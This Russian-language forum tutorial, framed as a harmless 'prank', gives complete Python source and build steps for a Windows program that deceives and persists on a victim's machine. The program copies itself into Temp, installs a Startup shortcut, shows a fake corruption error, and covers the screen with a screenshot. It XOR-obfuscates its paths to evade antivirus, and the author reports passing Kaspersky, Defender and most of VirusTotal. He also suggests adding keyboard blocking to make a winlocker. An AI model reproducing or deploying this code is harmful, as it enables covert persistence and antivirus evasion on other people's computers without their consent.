Статья Программа-шутка с созданием скриншотов на Python

Шутки любят все. И айтишники в особенности. Не знаю уж почему, но о программистах и сисадминах сложилось неверное в корне представление, в котором программист – это человек с вечно красными глазами от того, что пялиться в монитор на код, а сисадмин – угрюмый бородатый дядька, в свитере и с бутылкой пива. На самом деле все это далеко не так. И в настоящее время айтишники — это такие же люди, как и все остальные вокруг. И они, как и большинство из нас любят пошутить. Вот только шутки у них бывают специфические. Но, любая профессия накладывает свой отпечаток. Давайте попробуем сделать одну из программ-шуток, которая может доставить пару-тройку минут искреннего веселья…

000.jpg

А речь вот о чем. Давным-давно, в одной очень далекой Галактике… Ой, это не отсюда. Так вот, давным-давно, во времена бородатой хрюшки, то бишь в миру Windows XP, учили нас языку программирования Delphi, который в то время уже был на закате своего существования. Не, тут дело вкуса. Есть до сих пор люди, которые на нем программируют. И это очень хороший, тем более для того времени язык. Можно сказать, что сейчас таких не делают )) Но, программирование в Delphi сейчас, это как балансирование на канате, на одной ноге. Шаг влево, шаг вправо и тебе уже не хватает библиотек и модулей…

Ну да ладно, отвлекся. Были у нас разные приколы. От летающего пуска до моргающего экрана, популярные в то время. И одна из этих программ-шуток заключалась в том, что делалось безголовое окно формы, на которую кидалась картинка. Эта картинка растягивалась на всю форму, форма на весь экран и в момент старта делала скриншот экрана, который на себя и помещала. Было забавно наблюдать, как пользователь, открывший данное «произведение приколистского искусства» мучается и тыкает мышкой в скриншот, пытаясь добиться от него хоть какой-то взаимности. Вот такую шутку давайте и создадим.


Что понадобиться?

Кроме стандартных библиотек, которые я укажу ниже, нужно будет установить pyautogui для создания скриншота, Pillow, чтобы эту картинку не сохранять на диск, а сразу же открыть и передать в лейбл на форму, ну и библиотека pywin32, которая будет нужна позже, для создания ярлыка… ну да забегать вперед не будем. Устанавливается это все следующими командами:

Код:
pip install pyautogui
pip install Pillow
pip install pywin32

Теперь все это и много другое надо подключить в блоке импорта, а потому, блок импорта будет выглядеть так:

Python:
import os
from pathlib import Path
import shutil
from tkinter import *
from tkinter import messagebox
from sys import argv

# pip install pyautogui
# pip install Pillow
# pip install pywin32
import pyautogui
from PIL import ImageTk
from win32com.client import Dispatch

Теперь приступим к написанию основного кода. Впрочем нет, давайте сначала напишем функцию шифрования.

Тут конечно же возникает резонный вопрос, а зачем она нужна в программе, которая только и делает, что показывает скриншот? Тут все просто. Давайте сделаем так, чтобы программа не запускалась на самом старте в режиме прикола. А всего лишь копировала себя в пользовательскую папку Temp, после чего создавался ярлык для программы и перемещался в автозагрузку. Сначала хотел добавить еще и функцию самоудаления, но потом подумал, что, наверное, не надо. Если программа самоудалиться, у пользователя это вызовет больше подозрений, чем просто окно с сообщением, что код программы поврежден. А потому, делать ее не стал.

Ну так к шифрованию. Тут дело вот в чем. Разные антивирусы ведут себя по-разному. В основном, они блокируют приложения exe которые созданы из питона. И это не удивительно. Ведь питон зарекомендовал себя как самый хакерский язык. И очень много троянов, стилеров и малвари было на нем написано. Конечно же, со временем все это попало в базу данных антивирусов, как и код упаковщиков. В большей степени Pyinstaller, в меньше Nuitka, но и тот, и тот упаковщик периодически блокируются ими. Это печально. Если учесть, что нам то надо подшутить над человеком. Ну будешь же добавлять в исключения файл удаленно. Доступа то к компу нет. А значит, надо попробовать сделать так, чтобы антивирус не совсем понимал, что делает программа. В лучшем случае подозревал, но, и только.

И вот первая версия программы готова. Запускаю и… ничего. Вылазит окно антивируса с сообщением о том, что мол извини, но я очень бдительный чувак и скушал твою прогу так, на всякий случай просто потому, что она хочет во временную папку скопироваться. А так многие трояны делают. А потому не, не, лучше не стои.

И стал я думать, как можно скрыть от антивируса в коде, куда на самом деле желает скопироваться программа. И вспомнил, что где-то читал разбор одной малвари на vba. Так вот эта штука шифровала все, даже переменные. Тогда и я решил поступить похожим образом. Правда переменные трогать не стал. А вот пути и некоторые параметры зашифровал. И, вот она, функция шифрования. Что делает XOR? Он преобразует простые символы в формат байтов ASCII. Его достаточно трудно взломать с помощью брутфорса, а вот с ключом шифрования он распаковывается считанные доли секунды. Вот она, функция шифрования XOR:

Python:
# в этой функции и происходит шифрование
def crypto_xor(message: str, secret: str) -> str:
    new_chars = list()
    i = 0

    for num_chr in (ord(c) for c in message):
        num_chr ^= ord(secret[i])
        new_chars.append(num_chr)

        i += 1
        if i >= len(secret):
            i = 0

    return ''.join(chr(c) for c in new_chars)

Ну и конечно же, надо стразу же добавить функцию дешифровки. Кстати, функцию XOR можно использовать и для того, и для другого. Для дешифрования используем:

Python:
# функция для дешифровки. просто отправьте ей зашифрованную
# последовательность и ключ
def decrypt_xor(message_hex: str, secret: str) -> str:
    message = bytes.fromhex(message_hex).decode('utf-8')
    return crypto_xor(message, secret)

А вот для шифрования:

Python:
def encrypt_xor(message: str, secret: str) -> str:
    return crypto_xor(message, secret).encode('utf-8').hex()

encrypted = encrypt_xor(auto_shot_copy, key)
print(encrypted)

Но это так, больше для информации. Двигаемся дальше. Создадим функцию создания ярлыка нашего маленького, но удаленького приложения.

Python:
def create_shortcut(file_name: str, target: str, work_dir: str, arguments: str = ''):
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(file_name)
    shortcut.TargetPath = target
    shortcut.Arguments = arguments
    shortcut.WorkingDirectory = work_dir
    shortcut.save()

В данную функцию передаются такие параметры, как имя ярлыка, путь к программе для запуска, рабочая директория и параметры запуска. То есть, все то, что обычно мы и видим в свойствах ярлыка.

А теперь приступим к созданию скриншота и помещению его на окно программы. Тут все довольно просто. Создается объект Tkinter, устанавливается значение overrideredirect(True), для того, чтобы не показывался заголовок и кнопки, после чего делается скриншот и подгружается с помощью ImageTk.PhotoImage в переменную. Дальше создается лейбл, в который помещается картинка, растянутая на всю поверхность окна. Устанавливаются его параметры для того, чтобы оно растянулось на весь экран и запускается петля, чтобы окно тут же не закрылось.

Python:
def take_screenshot():
    root = Tk()
    root.overrideredirect(True)
    img = ImageTk.PhotoImage(pyautogui.screenshot())
    Label(root, image=img).pack(side="bottom", fill="both", expand="yes")
    root.geometry(decrypt_xor('16490d1908424c19034649', key).
                  format(root.winfo_screenwidth(), root.winfo_screenheight()))
    root.mainloop()

Теперь приступим к зашифрованной части, в которой будет произходить действо по копированию скрипта во временную папку, создание ярлыка и вывод на экран сообщения о невозможности запустить программу.

Для начала помещаем путь, по которому должна размещаться уже скопированная программа в переменную dir_path, конечно же в зашифрованном виде.

Python:
dir_path = os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                            decrypt_xor('2c0900251207506e7f021a110d2f27545f43', key))

Затем сравниваем текущую директорию с эталонным путем. Если они равны, то запускаем окно программы со скриншотом. Если нет, двигаемся дальше. Нужно это для того, чтобы избежать лишнего создания ярлыков и копирования программы на саму себя. Так как программа уже будет запущено, то она выпадет в осадок с сообщением доступ запрещен при попытке замены себя. Вот для этого и сравниваем пути.

Теперь рассмотри, что же делается в том случае, когда путь не совпадает с эталонным. Для начала определяется файл открытой программы с полным до него путем. Затем, с помощью shutil.copyfile выполняется копирование в нужную директорию, которое находится в зашифрованном виде.

Python:
    if os.getcwd() == dir_path:
        take_screenshot()
    if os.getcwd() != dir_path:
        filename = argv[0]
        shutil.copyfile(filename, os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                               decrypt_xor('2c0900251207506e7f021a110d2f27545f43311d070c1f5d544a56',
                                                           key)))

Дальше устанавливаем абсолютный путь к текущей папке, в которой и будет создан ярлык. Потом проверяется, существует ли ярлык в автозагрузке или нет. Если да, то копирование и создание не выполняется. Дело в том, что с помощью shutil перемещение произвести не получилось. Доступ для этой функции оказался запрещен. А вот os.rename справилась с этим на отлично. Только вот разрешения на перезапись файла в данной директории, а это автозагрузка, у функции нет, а потому попытка перезаписать файл заставляет программу выпасть в осадок. Вот потому и делаем проверку на наличие ярлыка. Да и если он уже есть, зачем делать новый?

Python:
abs_file_name = os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                     decrypt_xor('2c0900251207506e7f021a110d2f27545f43311d070c1f5d544a56', key))
        path = Path(abs_file_name)

        if not os.path.isfile(os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                           decrypt_xor('2c0900251207506e6102181d081d146d7f5a0e0b1f121c15456e640417140'
                                                       'e04006d61470c0b04413e165f476f3d0b1f0601125c416f3e0d1113070641',
                                                       key), 'autigui.lnk')):
            create_shortcut(
                file_name="autigui.lnk",
                target=str(path),
                work_dir=str(path.parent)
            )
            os.rename(os.path.join(os.path.abspath(os.curdir), 'autigui.lnk'),
                      os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                   decrypt_xor('2c0900251207506e6102181d081d146d7f5a0e0b1f121c15456e640417140e04006d61'
                                               '470c0b04413e165f476f3d0b1f0601125c416f3e0d1113070641', key),
                                   'autigui.lnk'))

Н и дальше запускаем сообщение о том, что файл поврежден и не может быть открыт, с подавлением основного окна Tkinter. После чего, когда пользователь нажмет «ОК», программа завершит свою работу.

Python:
root = Tk()
        root.withdraw()
        messagebox.showwarning("Ошибка!", "Файл поврежден! Переустановите программу!")

        os._exit(0)

Ну и функция main(), в которой запускается все это безобразие:

Python:
def main():
    move_app()

Python:
"""Программа-шутка. Не несет в себе никакой полезной нагрузки
и сделана больше для того, чтобы посмеяться над попытками пользователя
открыть что-то на рабочем столе. Ну или можно ее использовать для того,
чтобы имитировать нужность системного администратора. ))
Ничего не делает кроме того, что при запуске копирует себя в папку
пользовательскую папку Temp, создает ярлык в автозагрузке. При старте
ОС создается окно Tkinter, которое разворачивается на весь экран. На него
помещается скриншот всего экрана. Именно поэтому у пользователя будет отсутствовать
доступ к рабочему столу. Закрывается с помощью комбинации клавиш Alt+F4 и другими,
возможными способами. В данном случае не было цели блокировать ввод с клавиатуры,
так как это только шутка..."""

import os
from pathlib import Path
import shutil
from tkinter import *
from tkinter import messagebox
from sys import argv

# pip install pyautogui
# pip install Pillow
# pip install pywin32
import pyautogui
from PIL import ImageTk
from win32com.client import Dispatch


# здесь лежит ключ шифрования. сначала хотел тоже
# зашифровать хотя бы шифром Цезаря. потом подумал,
# что не особо это нужно. потому так...
key = "mypass123"


# в этой функции и происходит шифрование
def crypto_xor(message: str, secret: str) -> str:
    new_chars = list()
    i = 0

    for num_chr in (ord(c) for c in message):
        num_chr ^= ord(secret[i])
        new_chars.append(num_chr)

        i += 1
        if i >= len(secret):
            i = 0

    return ''.join(chr(c) for c in new_chars)


# функция для дешифровки. просто отправьте ей зашифрованную
# последовательность и ключ
def decrypt_xor(message_hex: str, secret: str) -> str:
    message = bytes.fromhex(message_hex).decode('utf-8')
    return crypto_xor(message, secret)


# функция для создания ярлыка программы
# на входе получает такие параметры как название ярлыка,
# путь к запускаемому файлу, рабочая директория
# аргументы для запуска
def create_shortcut(file_name: str, target: str, work_dir: str, arguments: str = ''):
    shell = Dispatch('WScript.Shell')
    shortcut = shell.CreateShortCut(file_name)
    shortcut.TargetPath = target
    shortcut.Arguments = arguments
    shortcut.WorkingDirectory = work_dir
    shortcut.save()


# функция для создания скриншота и помещения его на окно
# создаваемое Tkinter в "безголовом" режиме
# здесь же окно растягивается на весь экран (параметры находятся в
# зашифрованном виде)
def take_screenshot():
    root = Tk()
    root.overrideredirect(True)
    img = ImageTk.PhotoImage(pyautogui.screenshot())
    Label(root, image=img).pack(side="bottom", fill="both", expand="yes")
    root.geometry(decrypt_xor('16490d1908424c19034649', key).
                  format(root.winfo_screenwidth(), root.winfo_screenheight()))
    root.mainloop()


# формируется директория для контроля запуска программы, выполняется проверка,
# находится программа в папке Temp. если да, то запускается окно со скриншотом.
# если нет, получается путь к директории, копируется exe программы в Temp
# устанавливается абсолютный путь до директории в которую нужно поместить ярлык
# то есть до папки Автозагрузка. Проверяется наличие ярлыка, если нет, создается
# и копируется в Автозагрузку. Если есть, показываем окно об ошибке и закрываем exe
def move_app():
    dir_path = os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                            decrypt_xor('2c0900251207506e7f021a110d2f27545f43', key))
    if os.getcwd() == dir_path:
        take_screenshot()
    if os.getcwd() != dir_path:
        filename = argv[0]
        shutil.copyfile(filename, os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                               decrypt_xor('2c0900251207506e7f021a110d2f27545f43311d070c1f5d544a56',
                                                           key)))

        abs_file_name = os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                     decrypt_xor('2c0900251207506e7f021a110d2f27545f43311d070c1f5d544a56', key))
        path = Path(abs_file_name)

        if not os.path.isfile(os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                           decrypt_xor('2c0900251207506e6102181d081d146d7f5a0e0b1f121c15456e640417140'
                                                       'e04006d61470c0b04413e165f476f3d0b1f0601125c416f3e0d1113070641',
                                                       key), 'autigui.lnk')):
            create_shortcut(
                file_name="autigui.lnk",
                target=str(path),
                work_dir=str(path.parent)
            )
            os.rename(os.path.join(os.path.abspath(os.curdir), 'autigui.lnk'),
                      os.path.join(os.environ[decrypt_xor('382a353323217e747a213c', key)],
                                   decrypt_xor('2c0900251207506e6102181d081d146d7f5a0e0b1f121c15456e640417140e04006d61'
                                               '470c0b04413e165f476f3d0b1f0601125c416f3e0d1113070641', key),
                                   'autigui.lnk'))

        root = Tk()
        root.withdraw()
        messagebox.showwarning("Ошибка!", "Файл поврежден! Переустановите программу!")

        os._exit(0)


# вызов функции манипуляций прогой и ярлыком
def main():
    move_app()


if __name__ == '__main__':
    main()

Что ж, программа создана. Теперь, когда пользователь загрузиться в следующий раз, она скриншотом блокирует доступ к рабочему столу. Конечно же, закрывается она легко и просто, с помощью любых горячих и не очень клавиш. Но вот мне подумалось, а что, если добавить сюда же функцию перехвата нажатий клавиш клавиатуры и полностью ее заблокировать. Ведь тогда, по сути, будет сделан почти полноценны винлокер. Даже забавно, что мы таким баловались очень давно. А позже, с помощью тех же слегка модифицированных принципов стали вымогать у людей деньги.

И да, чуть не забыл упомянуть. Для того, чтобы программа работала, ее нужно скомпилировать в exe-файл. Я делал это с помощью Nuitka. Для того, чтобы модули Tkinter были корректно добавлены в создаваемый файл, нужно добавить параметр --plugin-enable=tk-inter. Ну и соответственно компилировать с помощью команды:

python -m nuitka --mingw64 dwml.py --plugin-enable=tk-inter --onefile --windows-disable-console

Если вы хотите только потестировать программу, то компилировать ее нужно без параметра --windows-disable-console, чтобы был виден вывод ошибок. А уж потом, как все будет отлажено, можно и без консоли. Как установить Nuitka правильно, чтобы она работала, а не зависала в нужный момент, сказано вот в этой статье, ближе к ее окончанию. Также, в конце статьи есть небольшое видео, где показано, как скачать, установить и использовать nuitka.

Вот результат работы программы. Созданный ярлык и она сама во временной пользовательской директории.

screenshot2.png

Ну и я специально скачал бесплатного каспера, дабы проверить на нем, как отрабатывает импровизированная защита. Каспер ругаться не стал. Сказал, что все окей и олрайт.

screenshot3.png

Дальше, удалил каспера и проверил встроенным виндовым дефендером. То же самое, реакции нет:

screenshot4.png


Ну и напоследок, скажем так, проверил все это на VirusTotal. Всего четыре срабатывания. Eset, Avira и еще пара мне не известных антивирусов. Причем, Eset даже определил, что это питоновский скрипт, сжатый nuitka, за что респект ему и уважуха.

screenshot1.png


Что же, суть да дело, а создание программы-шутки подошло к концу. Давайте подведем некоторые итоги, что мы узнали из текущего повествования:

  1. Научились шифровать и дешифровать тексты с помощью XOR;
  2. Научились создавать ярлыки для программ;
  3. Научились делать скриншот и помещать его на весь экран;
  4. Ну и частично скрываться от антивируса.

Конечно же, при более серьезной проверке вряд ли программа сможет выжить и отвертеться. Но, для начала мне кажется неплохо. Не правда ли? Ведь я только учусь программировать. То, что описано в статье находится в файле питона во вложении. Пароль на архив: 123

Спасибо за внимание. Надеюсь, что данная информация будет вам полезна
 

Вложения

  • dwml.zip
    2,7 КБ · Просмотры: 34
Последнее редактирование:
Мы в соцсетях:

1 августа стартует курс «Основы программирования на Python» от команды The Codeby

Курс будет начинаться с полного нуля, то есть начальные знания по Python не нужны. Длительность обучения 2 месяца. Учащиеся получат методички, видео лекции и домашние задания. Много практики. Постоянная обратная связь с кураторами, которые помогут с решением возникших проблем.

Запись на курс до 10 августа. Подробнее ...